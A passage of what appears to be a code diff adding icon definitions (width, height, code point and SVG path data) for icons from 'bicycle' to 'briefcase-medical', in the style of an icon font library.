0-32-12.8-32-32s16-32 32-32h284.8v64z" ], + bicycle: [ 640, 512, [], "f206", "M512.509 192.001c-16.373-.064-32.03 2.955-46.436 8.495l-77.68-125.153A24 24 0 0 0 368.001 64h-64c-8.837 0-16 7.163-16 16v16c0 8.837 7.163 16 16 16h50.649l14.896 24H256.002v-16c0-8.837-7.163-16-16-16h-87.459c-13.441 0-24.777 10.999-24.536 24.437.232 13.044 10.876 23.563 23.995 23.563h48.726l-29.417 47.52c-13.433-4.83-27.904-7.483-42.992-7.52C58.094 191.83.412 249.012.002 319.236-.413 390.279 57.055 448 128.002 448c59.642 0 109.758-40.793 123.967-96h52.033a24 24 0 0 0 20.406-11.367L410.37 201.77l14.938 24.067c-25.455 23.448-41.385 57.081-41.307 94.437.145 68.833 57.899 127.051 126.729 127.719 70.606.685 128.181-55.803 129.255-125.996 1.086-70.941-56.526-129.72-127.476-129.996zM186.75 265.772c9.727 10.529 16.673 23.661 19.642 38.228h-43.306l23.664-38.228zM128.002 400c-44.112 0-80-35.888-80-80s35.888-80 80-80c5.869 0 11.586.653 17.099 1.859l-45.505 73.509C89.715 331.327 101.213 352 120.002 352h81.3c-12.37 28.225-40.562 48-73.3 48zm162.63-96h-35.624c-3.96-31.756-19.556-59.894-42.383-80.026L237.371 184h127.547l-74.286 120zm217.057 95.886c-41.036-2.165-74.049-35.692-75.627-76.755-.812-21.121 6.633-40.518 19.335-55.263l44.433 71.586c4.66 7.508 14.524 9.816 22.032 5.156l13.594-8.437c7.508-4.66 9.817-14.524 5.156-22.032l-44.468-71.643a79.901 79.901 0 0 1 19.858-2.497c44.112 0 80 35.888 80 80-.001 45.54-38.252 82.316-84.313 79.885z" ], + biking: [ 640, 512, [], "f84a", "M400 96a48 48 0 1 0-48-48 48 48 0 0 0 48 48zm-4 121a31.9 31.9 0 0 0 20 7h64a32 32 0 0 0 0-64h-52.78L356 103a31.94 31.94 0 0 0-40.81.68l-112 96a32 32 0 0 0 3.08 50.92L288 305.12V416a32 32 0 0 0 64 0V288a32 32 0 0 0-14.25-26.62l-41.36-27.57 58.25-49.92zm116 39a128 128 0 1 0 128 128 128 128 0 0 0-128-128zm0 192a64 64 0 1 1 64-64 64 64 0 0 1-64 64zM128 256a128 128 0 1 0 128 128 128 128 0 0 0-128-128zm0 192a64 64 0 1 1 64-64 64 64 0 0 1-64 64z" ], + binoculars: [ 512, 512, [], "f1e5", "M416 48c0-8.84-7.16-16-16-16h-64c-8.84 0-16 7.16-16 16v48h96V48zM63.91 159.99C61.4 253.84 3.46 274.22 0 404v44c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32V288h32V128H95.84c-17.63 0-31.45 14.37-31.93 31.99zm384.18 0c-.48-17.62-14.3-31.99-31.93-31.99H320v160h32v160c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32v-44c-3.46-129.78-61.4-150.16-63.91-244.01zM176 32h-64c-8.84 0-16 7.16-16 16v48h96V48c0-8.84-7.16-16-16-16zm48 256h64V128h-64v160z" ], + biohazard: [ 576, 512, [], "f780", "M287.9 112c18.6 0 36.2 3.8 52.8 9.6 13.3-10.3 23.6-24.3 29.5-40.7-25.2-10.9-53-17-82.2-17-29.1 0-56.9 6-82.1 16.9 5.9 16.4 16.2 30.4 29.5 40.7 16.5-5.7 34-9.5 52.5-9.5zM163.6 438.7c12-11.8 20.4-26.4 24.5-42.4-32.9-26.4-54.8-65.3-58.9-109.6-8.5-2.8-17.2-4.6-26.4-4.6-7.6 0-15.2 1-22.5 3.1 4.1 62.8 35.8 118 83.3 153.5zm224.2-42.6c4.1 16 12.5 30.7 24.5 42.5 47.4-35.5 79.1-90.7 83-153.5-7.2-2-14.7-3-22.2-3-9.2 0-18 1.9-26.6 4.7-4.1 44.2-26 82.9-58.7 109.3zm113.5-205c-17.6-10.4-36.3-16.6-55.3-19.9 6-17.7 10-36.4 10-56.2 0-41-14.5-80.8-41-112.2-2.5-3-6.6-3.7-10-1.8-3.3 1.9-4.8 6-3.6 9.7 4.5 13.8 6.6 26.3 6.6 38.5 0 67.8-53.8 122.9-120 122.9S168 117 168 49.2c0-12.1 2.2-24.7 6.6-38.5 1.2-3.7-.3-7.8-3.6-9.7-3.4-1.9-7.5-1.2-10 1.8C134.6 34.2 120 74 120 115c0 19.8 3.9 38.5 10 56.2-18.9 3.3-37.7 9.5-55.3 19.9-34.6 20.5-61 53.3-74.3 92.4-1.3 3.7.2 7.7 3.5 9.8 3.3 2 7.5 1.3 10-1.6 9.4-10.8 19-19.1 29.2-25.1 57.3-33.9 130.8-13.7 163.9 45 33.1 58.7 13.4 134-43.9 167.9-10.2 6.1-22 10.4-35.8 13.4-3.7.8-6.4 4.2-6.4 8.1.1 4 2.7 7.3 6.5 8 39.7 7.8 80.6.8 115.2-19.7 18-10.6 32.9-24.5 45.3-40.1 12.4 15.6 27.3 29.5 45.3 40.1 34.6 20.5 75.5 27.5 115.2 19.7 3.8-.7 6.4-4 6.5-8 0-3.9-2.6-7.3-6.4-8.1-13.9-2.9-25.6-7.3-35.8-13.4-57.3-33.9-77-109.2-43.9-167.9s106.6-78.9 163.9-45c10.2 6.1 19.8 14.3 29.2 25.1 2.5 2.9 6.7 3.6 10 1.6s4.8-6.1 3.5-9.8c-13.1-39.1-39.5-72-74.1-92.4zm-213.4 129c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48z" ], + "birthday-cake": [ 448, 512, [], "f1fd", "M448 384c-28.02 0-31.26-32-74.5-32-43.43 0-46.825 32-74.75 32-27.695 0-31.454-32-74.75-32-42.842 0-47.218 32-74.5 32-28.148 0-31.202-32-74.75-32-43.547 0-46.653 32-74.75 32v-80c0-26.5 21.5-48 48-48h16V112h64v144h64V112h64v144h64V112h64v144h16c26.5 0 48 21.5 48 48v80zm0 128H0v-96c43.356 0 46.767-32 74.75-32 27.951 0 31.253 32 74.75 32 42.843 0 47.217-32 74.5-32 28.148 0 31.201 32 74.75 32 43.357 0 46.767-32 74.75-32 27.488 0 31.252 32 74.5 32v96zM96 96c-17.75 0-32-14.25-32-32 0-31 32-23 32-64 12 0 32 29.5 32 56s-14.25 40-32 40zm128 0c-17.75 0-32-14.25-32-32 0-31 32-23 32-64 12 0 32 29.5 32 56s-14.25 40-32 40zm128 0c-17.75 0-32-14.25-32-32 0-31 32-23 32-64 12 0 32 29.5 32 56s-14.25 40-32 40z" ], + blender: [ 512, 512, [], "f517", "M416 384H160c-35.35 0-64 28.65-64 64v32c0 17.67 14.33 32 32 32h320c17.67 0 32-14.33 32-32v-32c0-35.35-28.65-64-64-64zm-128 96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm40-416h166.54L512 0H48C21.49 0 0 21.49 0 48v160c0 26.51 21.49 48 48 48h103.27l8.73 96h256l17.46-64H328c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h114.18l17.46-64H328c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h140.36l17.46-64H328c-4.42 0-8-3.58-8-8V72c0-4.42 3.58-8 8-8zM64 192V64h69.82l11.64 128H64z" ], + "blender-phone": [ 576, 512, [], "f6b6", "M392 64h166.54L576 0H192v352h288l17.46-64H392c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h114.18l17.46-64H392c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h140.36l17.46-64H392c-4.42 0-8-3.58-8-8V72c0-4.42 3.58-8 8-8zM158.8 335.01l-25.78-63.26c-2.78-6.81-9.8-10.99-17.24-10.26l-45.03 4.42c-17.28-46.94-17.65-99.78 0-147.72l45.03 4.42c7.43.73 14.46-3.46 17.24-10.26l25.78-63.26c3.02-7.39.2-15.85-6.68-20.07l-39.28-24.1C98.51-3.87 80.09-.5 68.95 11.97c-92.57 103.6-92 259.55 2.1 362.49 9.87 10.8 29.12 12.48 41.65 4.8l39.41-24.18c6.89-4.22 9.7-12.67 6.69-20.07zM480 384H192c-35.35 0-64 28.65-64 64v32c0 17.67 14.33 32 32 32h352c17.67 0 32-14.33 32-32v-32c0-35.35-28.65-64-64-64zm-144 96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z" ], + blind: [ 384, 512, [], "f29d", "M380.15 510.837a8 8 0 0 1-10.989-2.687l-125.33-206.427a31.923 31.923 0 0 0 12.958-9.485l126.048 207.608a8 8 0 0 1-2.687 10.991zM142.803 314.338l-32.54 89.485 36.12 88.285c6.693 16.36 25.377 24.192 41.733 17.501 16.357-6.692 24.193-25.376 17.501-41.734l-62.814-153.537zM96 88c24.301 0 44-19.699 44-44S120.301 0 96 0 52 19.699 52 44s19.699 44 44 44zm154.837 169.128l-120-152c-4.733-5.995-11.75-9.108-18.837-9.112V96H80v.026c-7.146.003-14.217 3.161-18.944 9.24L0 183.766v95.694c0 13.455 11.011 24.791 24.464 24.536C37.505 303.748 48 293.1 48 280v-79.766l16-20.571v140.698L9.927 469.055c-6.04 16.609 2.528 34.969 19.138 41.009 16.602 6.039 34.968-2.524 41.009-19.138L136 309.638V202.441l-31.406-39.816a4 4 0 1 1 6.269-4.971l102.3 129.217c9.145 11.584 24.368 11.339 33.708 3.965 10.41-8.216 12.159-23.334 3.966-33.708z" ], + blog: [ 512, 512, [], "f781", "M172.2 226.8c-14.6-2.9-28.2 8.9-28.2 23.8V301c0 10.2 7.1 18.4 16.7 22 18.2 6.8 31.3 24.4 31.3 45 0 26.5-21.5 48-48 48s-48-21.5-48-48V120c0-13.3-10.7-24-24-24H24c-13.3 0-24 10.7-24 24v248c0 89.5 82.1 160.2 175 140.7 54.4-11.4 98.3-55.4 109.7-109.7 17.4-82.9-37-157.2-112.5-172.2zM209 0c-9.2-.5-17 6.8-17 16v31.6c0 8.5 6.6 15.5 15 15.9 129.4 7 233.4 112 240.9 241.5.5 8.4 7.5 15 15.9 15h32.1c9.2 0 16.5-7.8 16-17C503.4 139.8 372.2 8.6 209 0zm.3 96c-9.3-.7-17.3 6.7-17.3 16.1v32.1c0 8.4 6.5 15.3 14.8 15.9 76.8 6.3 138 68.2 144.9 145.2.8 8.3 7.6 14.7 15.9 14.7h32.2c9.3 0 16.8-8 16.1-17.3-8.4-110.1-96.5-198.2-206.6-206.7z" ], + bold: [ 384, 512, [], "f032", "M333.49 238a122 122 0 0 0 27-65.21C367.87 96.49 308 32 233.42 32H34a16 16 0 0 0-16 16v48a16 16 0 0 0 16 16h31.87v288H34a16 16 0 0 0-16 16v48a16 16 0 0 0 16 16h209.32c70.8 0 134.14-51.75 141-122.4 4.74-48.45-16.39-92.06-50.83-119.6zM145.66 112h87.76a48 48 0 0 1 0 96h-87.76zm87.76 288h-87.76V288h87.76a56 56 0 0 1 0 112z" ], + bolt: [ 320, 512, [], "f0e7", "M296 160H180.6l42.6-129.8C227.2 15 215.7 0 200 0H56C44 0 33.8 8.9 32.2 20.8l-32 240C-1.7 275.2 9.5 288 24 288h118.7L96.6 482.5c-3.6 15.2 8 29.5 23.3 29.5 8.4 0 16.4-4.4 20.8-12l176-304c9.3-15.9-2.2-36-20.7-36z" ], + bomb: [ 512, 512, [], "f1e2", "M440.5 88.5l-52 52L415 167c9.4 9.4 9.4 24.6 0 33.9l-17.4 17.4c11.8 26.1 18.4 55.1 18.4 85.6 0 114.9-93.1 208-208 208S0 418.9 0 304 93.1 96 208 96c30.5 0 59.5 6.6 85.6 18.4L311 97c9.4-9.4 24.6-9.4 33.9 0l26.5 26.5 52-52 17.1 17zM500 60h-24c-6.6 0-12 5.4-12 12s5.4 12 12 12h24c6.6 0 12-5.4 12-12s-5.4-12-12-12zM440 0c-6.6 0-12 5.4-12 12v24c0 6.6 5.4 12 12 12s12-5.4 12-12V12c0-6.6-5.4-12-12-12zm33.9 55l17-17c4.7-4.7 4.7-12.3 0-17-4.7-4.7-12.3-4.7-17 0l-17 17c-4.7 4.7-4.7 12.3 0 17 4.8 4.7 12.4 4.7 17 0zm-67.8 0c4.7 4.7 12.3 4.7 17 0 4.7-4.7 4.7-12.3 0-17l-17-17c-4.7-4.7-12.3-4.7-17 0-4.7 4.7-4.7 12.3 0 17l17 17zm67.8 34c-4.7-4.7-12.3-4.7-17 0-4.7 4.7-4.7 12.3 0 17l17 17c4.7 4.7 12.3 4.7 17 0 4.7-4.7 4.7-12.3 0-17l-17-17zM112 272c0-35.3 28.7-64 64-64 8.8 0 16-7.2 16-16s-7.2-16-16-16c-52.9 0-96 43.1-96 96 0 8.8 7.2 16 16 16s16-7.2 16-16z" ], + bone: [ 640, 512, [], "f5d7", "M598.88 244.56c25.2-12.6 41.12-38.36 41.12-66.53v-7.64C640 129.3 606.7 96 565.61 96c-32.02 0-60.44 20.49-70.57 50.86-7.68 23.03-11.6 45.14-38.11 45.14H183.06c-27.38 0-31.58-25.54-38.11-45.14C134.83 116.49 106.4 96 74.39 96 33.3 96 0 129.3 0 170.39v7.64c0 28.17 15.92 53.93 41.12 66.53 9.43 4.71 9.43 18.17 0 22.88C15.92 280.04 0 305.8 0 333.97v7.64C0 382.7 33.3 416 74.38 416c32.02 0 60.44-20.49 70.57-50.86 7.68-23.03 11.6-45.14 38.11-45.14h273.87c27.38 0 31.58 25.54 38.11 45.14C505.17 395.51 533.6 416 565.61 416c41.08 0 74.38-33.3 74.38-74.39v-7.64c0-28.18-15.92-53.93-41.12-66.53-9.42-4.71-9.42-18.17.01-22.88z" ], + bong: [ 448, 512, [], "f55c", "M302.5 512c23.18 0 44.43-12.58 56-32.66C374.69 451.26 384 418.75 384 384c0-36.12-10.08-69.81-27.44-98.62L400 241.94l9.38 9.38c6.25 6.25 16.38 6.25 22.63 0l11.3-11.32c6.25-6.25 6.25-16.38 0-22.63l-52.69-52.69c-6.25-6.25-16.38-6.25-22.63 0l-11.31 11.31c-6.25 6.25-6.25 16.38 0 22.63l9.38 9.38-39.41 39.41c-11.56-11.37-24.53-21.33-38.65-29.51V63.74l15.97-.02c8.82-.01 15.97-7.16 15.98-15.98l.04-31.72C320 7.17 312.82-.01 303.97 0L80.03.26c-8.82.01-15.97 7.16-15.98 15.98l-.04 31.73c-.01 8.85 7.17 16.02 16.02 16.01L96 63.96v153.93C38.67 251.1 0 312.97 0 384c0 34.75 9.31 67.27 25.5 95.34C37.08 499.42 58.33 512 81.5 512h221zM120.06 259.43L144 245.56V63.91l96-.11v181.76l23.94 13.87c24.81 14.37 44.12 35.73 56.56 60.57h-257c12.45-24.84 31.75-46.2 56.56-60.57z" ], + book: [ 448, 512, [], "f02d", "M448 360V24c0-13.3-10.7-24-24-24H96C43 0 0 43 0 96v320c0 53 43 96 96 96h328c13.3 0 24-10.7 24-24v-16c0-7.5-3.5-14.3-8.9-18.7-4.2-15.4-4.2-59.3 0-74.7 5.4-4.3 8.9-11.1 8.9-18.6zM128 134c0-3.3 2.7-6 6-6h212c3.3 0 6 2.7 6 6v20c0 3.3-2.7 6-6 6H134c-3.3 0-6-2.7-6-6v-20zm0 64c0-3.3 2.7-6 6-6h212c3.3 0 6 2.7 6 6v20c0 3.3-2.7 6-6 6H134c-3.3 0-6-2.7-6-6v-20zm253.4 250H96c-17.7 0-32-14.3-32-32 0-17.6 14.4-32 32-32h285.4c-1.9 17.1-1.9 46.9 0 64z" ], + "book-dead": [ 448, 512, [], "f6b7", "M272 136c8.8 0 16-7.2 16-16s-7.2-16-16-16-16 7.2-16 16 7.2 16 16 16zm176 222.4V25.6c0-16-9.6-25.6-25.6-25.6H96C41.6 0 0 41.6 0 96v320c0 54.4 41.6 96 96 96h326.4c12.8 0 25.6-9.6 25.6-25.6v-16c0-6.4-3.2-12.8-9.6-19.2-3.2-16-3.2-60.8 0-73.6 6.4-3.2 9.6-9.6 9.6-19.2zM240 56c44.2 0 80 28.7 80 64 0 20.9-12.7 39.2-32 50.9V184c0 8.8-7.2 16-16 16h-64c-8.8 0-16-7.2-16-16v-13.1c-19.3-11.7-32-30-32-50.9 0-35.3 35.8-64 80-64zM124.8 223.3l6.3-14.7c1.7-4.1 6.4-5.9 10.5-4.2l98.3 42.1 98.4-42.1c4.1-1.7 8.8.1 10.5 4.2l6.3 14.7c1.7 4.1-.1 8.8-4.2 10.5L280.6 264l70.3 30.1c4.1 1.7 5.9 6.4 4.2 10.5l-6.3 14.7c-1.7 4.1-6.4 5.9-10.5 4.2L240 281.4l-98.3 42.2c-4.1 1.7-8.8-.1-10.5-4.2l-6.3-14.7c-1.7-4.1.1-8.8 4.2-10.5l70.4-30.1-70.5-30.3c-4.1-1.7-5.9-6.4-4.2-10.5zm256 224.7H96c-19.2 0-32-12.8-32-32s16-32 32-32h284.8zM208 136c8.8 0 16-7.2 16-16s-7.2-16-16-16-16 7.2-16 16 7.2 16 16 16z" ], + "book-medical": [ 448, 512, [], "f7e6", "M448 358.4V25.6c0-16-9.6-25.6-25.6-25.6H96C41.6 0 0 41.6 0 96v320c0 54.4 41.6 96 96 96h326.4c12.8 0 25.6-9.6 25.6-25.6v-16q0-9.6-9.6-19.2c-3.2-16-3.2-60.8 0-73.6q9.6-4.8 9.6-19.2zM144 168a8 8 0 0 1 8-8h56v-56a8 8 0 0 1 8-8h48a8 8 0 0 1 8 8v56h56a8 8 0 0 1 8 8v48a8 8 0 0 1-8 8h-56v56a8 8 0 0 1-8 8h-48a8 8 0 0 1-8-8v-56h-56a8 8 0 0 1-8-8zm236.8 280H96c-19.2 0-32-12.8-32-32s16-32 32-32h284.8z" ], + "book-open": [ 576, 512, [], "f518", "M542.22 32.05c-54.8 3.11-163.72 14.43-230.96 55.59-4.64 2.84-7.27 7.89-7.27 13.17v363.87c0 11.55 12.63 18.85 23.28 13.49 69.18-34.82 169.23-44.32 218.7-46.92 16.89-.89 30.02-14.43 30.02-30.66V62.75c.01-17.71-15.35-31.74-33.77-30.7zM264.73 87.64C197.5 46.48 88.58 35.17 33.78 32.05 15.36 31.01 0 45.04 0 62.75V400.6c0 16.24 13.13 29.78 30.02 30.66 49.49 2.6 149.59 12.11 218.77 46.95 10.62 5.35 23.21-1.94 23.21-13.46V100.63c0-5.29-2.62-10.14-7.27-12.99z" ], + "book-reader": [ 512, 512, [], "f5da", "M352 96c0-53.02-42.98-96-96-96s-96 42.98-96 96 42.98 96 96 96 96-42.98 96-96zM233.59 241.1c-59.33-36.32-155.43-46.3-203.79-49.05C13.55 191.13 0 203.51 0 219.14v222.8c0 14.33 11.59 26.28 26.49 27.05 43.66 2.29 131.99 10.68 193.04 41.43 9.37 4.72 20.48-1.71 20.48-11.87V252.56c-.01-4.67-2.32-8.95-6.42-11.46zm248.61-49.05c-48.35 2.74-144.46 12.73-203.78 49.05-4.1 2.51-6.41 6.96-6.41 11.63v245.79c0 10.19 11.14 16.63 20.54 11.9 61.04-30.72 149.32-39.11 192.97-41.4 14.9-.78 26.49-12.73 26.49-27.06V219.14c-.01-15.63-13.56-28.01-29.81-27.09z" ], + bookmark: [ 384, 512, [], "f02e", "M0 512V48C0 21.49 21.49 0 48 0h288c26.51 0 48 21.49 48 48v464L192 400 0 512z" ], + "border-all": [ 448, 512, [], "f84c", "M416 32H32A32 32 0 0 0 0 64v384a32 32 0 0 0 32 32h384a32 32 0 0 0 32-32V64a32 32 0 0 0-32-32zm-32 64v128H256V96zm-192 0v128H64V96zM64 416V288h128v128zm192 0V288h128v128z" ], + "border-none": [ 448, 512, [], "f850", "M240 224h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-288 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm96 192h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-96h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-192h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM240 320h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-192h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-96 288h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm96-384h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16zm96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16zm96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16zM48 224H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0 192H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-96H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-192H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-96H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16zm96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z" ], + "border-style": [ 448, 512, [], "f853", "M240 416h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm192 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm96-192h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0 96h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0 96h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-288h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-96H32A32 32 0 0 0 0 64v400a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V96h368a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z" ], + "bowling-ball": [ 496, 512, [], "f436", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM120 192c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm64-96c0-17.7 14.3-32 32-32s32 14.3 32 32-14.3 32-32 32-32-14.3-32-32zm48 144c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z" ], + box: [ 512, 512, [], "f466", "M509.5 184.6L458.9 32.8C452.4 13.2 434.1 0 413.4 0H272v192h238.7c-.4-2.5-.4-5-1.2-7.4zM240 0H98.6c-20.7 0-39 13.2-45.5 32.8L2.5 184.6c-.8 2.4-.8 4.9-1.2 7.4H240V0zM0 224v240c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V224H0z" ], + "box-open": [ 640, 512, [], "f49e", "M425.7 256c-16.9 0-32.8-9-41.4-23.4L320 126l-64.2 106.6c-8.7 14.5-24.6 23.5-41.5 23.5-4.5 0-9-.6-13.3-1.9L64 215v178c0 14.7 10 27.5 24.2 31l216.2 54.1c10.2 2.5 20.9 2.5 31 0L551.8 424c14.2-3.6 24.2-16.4 24.2-31V215l-137 39.1c-4.3 1.3-8.8 1.9-13.3 1.9zm212.6-112.2L586.8 41c-3.1-6.2-9.8-9.8-16.7-8.9L320 64l91.7 152.1c3.8 6.3 11.4 9.3 18.5 7.3l197.9-56.5c9.9-2.9 14.7-13.9 10.2-23.1zM53.2 41L1.7 143.8c-4.6 9.2.3 20.2 10.1 23l197.9 56.5c7.1 2 14.7-1 18.5-7.3L320 64 69.8 32.1c-6.9-.8-13.5 2.7-16.6 8.9z" ], + "box-tissue": [ 512, 512, [], "e05b", "M383.88,287.82l64-192H338.47a70.2,70.2,0,0,1-66.59-48,70.21,70.21,0,0,0-66.6-48H63.88l64,288Zm-384,192a32,32,0,0,0,32,32h448a32,32,0,0,0,32-32v-64H-.12Zm480-256H438.94l-21.33,64h14.27a16,16,0,0,1,0,32h-352a16,16,0,1,1,0-32H95.09l-14.22-64h-49a32,32,0,0,0-32,32v128h512v-128A32,32,0,0,0,479.88,223.82Z" ], + boxes: [ 576, 512, [], "f468", "M560 288h-80v96l-32-21.3-32 21.3v-96h-80c-8.8 0-16 7.2-16 16v192c0 8.8 7.2 16 16 16h224c8.8 0 16-7.2 16-16V304c0-8.8-7.2-16-16-16zm-384-64h224c8.8 0 16-7.2 16-16V16c0-8.8-7.2-16-16-16h-80v96l-32-21.3L256 96V0h-80c-8.8 0-16 7.2-16 16v192c0 8.8 7.2 16 16 16zm64 64h-80v96l-32-21.3L96 384v-96H16c-8.8 0-16 7.2-16 16v192c0 8.8 7.2 16 16 16h224c8.8 0 16-7.2 16-16V304c0-8.8-7.2-16-16-16z" ], + braille: [ 640, 512, [], "f2a1", "M128 256c0 35.346-28.654 64-64 64S0 291.346 0 256s28.654-64 64-64 64 28.654 64 64zM64 384c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm0-352C28.654 32 0 60.654 0 96s28.654 64 64 64 64-28.654 64-64-28.654-64-64-64zm160 192c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm0 160c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm0-352c-35.346 0-64 28.654-64 64s28.654 64 64 64 64-28.654 64-64-28.654-64-64-64zm224 192c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm0 160c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm0-352c-35.346 0-64 28.654-64 64s28.654 64 64 64 64-28.654 64-64-28.654-64-64-64zm160 192c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm0 160c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm0-320c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32z" ], + brain: [ 576, 512, [], "f5dc", "M208 0c-29.9 0-54.7 20.5-61.8 48.2-.8 0-1.4-.2-2.2-.2-35.3 0-64 28.7-64 64 0 4.8.6 9.5 1.7 14C52.5 138 32 166.6 32 200c0 12.6 3.2 24.3 8.3 34.9C16.3 248.7 0 274.3 0 304c0 33.3 20.4 61.9 49.4 73.9-.9 4.6-1.4 9.3-1.4 14.1 0 39.8 32.2 72 72 72 4.1 0 8.1-.5 12-1.2 9.6 28.5 36.2 49.2 68 49.2 39.8 0 72-32.2 72-72V64c0-35.3-28.7-64-64-64zm368 304c0-29.7-16.3-55.3-40.3-69.1 5.2-10.6 8.3-22.3 8.3-34.9 0-33.4-20.5-62-49.7-74 1-4.5 1.7-9.2 1.7-14 0-35.3-28.7-64-64-64-.8 0-1.5.2-2.2.2C422.7 20.5 397.9 0 368 0c-35.3 0-64 28.6-64 64v376c0 39.8 32.2 72 72 72 31.8 0 58.4-20.7 68-49.2 3.9.7 7.9 1.2 12 1.2 39.8 0 72-32.2 72-72 0-4.8-.5-9.5-1.4-14.1 29-12 49.4-40.6 49.4-73.9z" ], + "bread-slice": [ 576, 512, [], "f7ec", "M288 0C108 0 0 93.4 0 169.14 0 199.44 24.24 224 64 224v256c0 17.67 16.12 32 36 32h376c19.88 0 36-14.33 36-32V224c39.76 0 64-24.56 64-54.86C576 93.4 468 0 288 0z" ], + briefcase: [ 512, 512, [], "f0b1", "M320 336c0 8.84-7.16 16-16 16h-96c-8.84 0-16-7.16-16-16v-48H0v144c0 25.6 22.4 48 48 48h416c25.6 0 48-22.4 48-48V288H320v48zm144-208h-80V80c0-25.6-22.4-48-48-48H176c-25.6 0-48 22.4-48 48v48H48c-25.6 0-48 22.4-48 48v80h512v-80c0-25.6-22.4-48-48-48zm-144 0H192V96h128v32z" ], + "briefcase-medical": [ 512, 512, [], "f469", "M464 128h-80V80c0-26.5-21.5-48-48-48H176c-26.5 0-48 21.5-48 48v48H48c-26.5 0-48 21.5-48 48v288c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 